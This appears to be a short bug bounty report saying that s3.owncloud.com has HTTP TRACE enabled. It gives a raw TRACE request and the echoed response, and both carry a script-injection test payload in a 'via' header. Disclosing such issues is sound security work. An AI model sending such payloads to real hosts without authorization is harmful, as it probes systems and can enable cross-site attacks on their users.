[s3.owncloud.com] Web Server HTTP Trace/Track Method Support

How it was found

Hello. Not ineresting bug but you can fixed it as in #83837. (https://hackerone.com/reports/83837)

Request: TRACE /gxDM8DATHA HTTP/1.1 Host: s3.owncloud.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: / via: <script>alert('QualysXSS');</script>

Response: TRACE /gxDM8DATHA HTTP/1.1 Host: s3.owncloud.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: / via: <script>alert('QualysXSS');</script>